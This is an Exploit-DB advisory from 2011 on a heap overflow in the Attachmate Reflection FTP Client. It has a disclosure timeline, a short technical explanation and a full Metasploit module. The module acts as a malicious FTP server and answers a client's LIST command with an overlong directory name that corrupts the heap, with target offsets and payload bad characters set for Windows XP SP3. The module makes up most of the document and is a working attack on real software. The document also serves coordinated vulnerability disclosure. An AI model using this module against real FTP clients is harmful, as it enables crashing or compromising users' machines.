Exploit-DB #18119
Description: Attachmate Reflection FTP Client - Heap Overflow
Type: dos
Platform: windows
Date: 2011-11-16
Author: Francis Provencher

Exploit:
#####################################################################################
Application:   Attachmate Reflection FTP Client Heap Overflow
Platforms:   Windows
Exploitation:   Remote code execution
CVE Number:  
{PRL}:   2011-09
Author:   Francis Provencher (Protek Research Lab's)
Website:   http://www.protekresearchlab.com/
Twitter:   @ProtekResearch
#####################################################################################
1) Introduction
2) Timeline
3) Technical details
4) PoC
#####################################################################################

===============
1) Introduction
===============

Attachmate Corporation is a software company owned by an investment group led by Francisco Partners,
Golden Gate Capital, and Thoma Cressey Bravo. Attachmate focuses on terminal emulation, legacy modernization,
managed file transfer, and enterprise fraud management software. Attachmate Corporation is a principal holding
within The Attachmate Group. In addition to Attachmate Corporation, The Attachmate Group's other principal
holdings include NetIQ, Novell, and SUSE.

#####################################################################################
============================
2) Timeline
============================

2011-09-26 - Vulnerability reported to vendor
2011-11-16 - Coordinated public release of advisory

#####################################################################################
============================
3) Technical details
============================

The Reflection FTP client, didn't validate the maximum length of a directory when a LIST command is issuing.
An overly long directory name can overflow the heap and corrupt memory.


#####################################################################################

===========
4) The Code
===========


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::FtpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Attachmate Reflection FTP Client Heap Overflow (LIST)',
			'Description'    => %q{
					This module exploits an heap buffer overflow in Attachmate Reflection FTP Client,
				triggered when processing the response on a LIST command.
			},
			'Author' 	 =>
				[
					'Francis Provencher',		
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 12196 $",
			'References'     =>
				[
					[ 'URL', 'http://www.protekresearchlab.com/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'XP SP3 Universal', { 'Offset' => 300, } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'November 16 2011',
			'DefaultTarget'  => 0))

	end

	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_list(c,arg)

		conn = establish_data_connection(c)
		if(not conn)
			c.put("425 Can't build data connection\r\n")
			return
		end
		print_status(" - Data connection set up")
		code = 150
		c.put("#{code} Here comes the directory listing.\r\n")
		code = 226
		c.put("#{code} Directory send ok.\r\n")

		filename = "A" * 296

		junk = "DCBA"

		buffer = filename + junk 
		print_status(" - Sending directory list via data connection")
		dirlist = "-rw-rw-r--    1 1176     1176         1060 sep 27 22:22 #{buffer}\r\n"
		conn.put(dirlist)
		conn.close
		print_status(" Movzx eax, byte ptr edx ds:0023:41424344  ...")
		return

	end

end